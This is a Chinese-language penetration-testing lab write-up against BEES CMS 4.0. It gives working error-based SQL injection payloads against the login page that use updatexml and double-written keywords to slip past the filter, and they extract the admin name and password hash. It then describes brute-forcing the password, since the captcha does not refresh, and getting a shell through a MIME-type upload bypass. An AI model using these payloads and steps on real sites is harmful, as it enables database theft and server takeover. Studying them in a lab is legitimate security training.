前期准备
靶机名称or源码名称:BEES_V4.0_R_20160525.rar
官方下载地址:http://beescms.com/cxxz.html
(一) 环境搭建:
#解压源码文件到网站根目录
#访问源码文件install完成按照提示完成安装
#修改mysql.ini 文件,在mysqld 下添加条目: secure_file_priv =,保存然后重启phpstudy,不然用mysql写入文件会报错。
一、预备知识:
枚举法(俗称暴力破解):
在 进行归纳推理时,如果逐个考察了某类事件的所有可能情况,因而得出一般结论,那么这结论是可靠的,这种归纳方法叫做枚举法。枚举法是利用计算机运算速度 快、精确度高的特点,对要解决问题的所有可能情况,一个不漏地进行检验,从中找出符合要求的答案,因此枚举法是通过牺牲时间来换取答案的全面性。
在数学和计算机科学理论中,一个集的枚举是列出某些有穷序列集的所有成员的程序,或者是一种特定类型对象的计数。这两种类型经常(但不总是)重叠。
SQL注入:
SQL 注入即是指Web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句, 在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
二、实验步骤
扫描发现登录地址
(一) SQL注入
登录页面SQL注入漏洞,我们就不用sqlmap了手注
经过测试发现一些常用的sql注入危险函数被过滤使用复写绕过
常用的一些函数双写绕过写法 |
||
1 |
and |
an and d |
2 |
select |
seleselectct |
3 |
from |
fro from m |
4 |
where |
wh where ere |
5 |
= |
like |
因为注入点在登录界面看不到回显,所以使用报错注入
admin' a and nd updatexml(1,concat(0x7e,user(),0x7e),1)--+
查询到当前用户为root
查询表明发现字符应该是被限制了,使用substr截取
user=admin' a and nd updatexml(1,concat(0x7e,(selselectect group_concat(table_name) fr from om information_schema.tables wh where ere table_schema like database()),0x7e),1)--+
user=admin' a and nd updatexml(1,concat(0x7e,(substr((selselectect group_concat(table_name) fr from om information_schema.tables wh where ere table_schema like database()),32,64)),0x7e),1)--+
user=admin'a and nd updatexml(1,concat(0x7e,substr((selselectect group_concat(column_name) fr from om information_schema.columns whe where re table_schema like database()),1,32),0x7e),1)--+&password=123456&code=a9c5&submit=true&submit.x=57&submit.y=23
user=admin'a and nd updatexml(1,concat(0x7e,(selselectect group_concat(admin_name) fr from om beescms.bees_admin),0x7e),1)--+
user=admin'a and nd updatexml(1,concat(0x7e,substr((selselectect group_concat(admin_password) fr from om beescms.bees_admin),7,32),0x7e),1)--+
拼接后密码MD5值为
21232f297a57a5a743894a0e4a801fc3
解密的结果为
(二) 弱口令爆破
这里的验证码在不刷新页面的情况下,是可以无限尝试登录的,所以我们可以对密码进行爆破
添加payload
添加字典
admin length不同很有可能是密码
(三) 文件上传
网站有文件上传点
修改mime类型即可绕过
成功getshel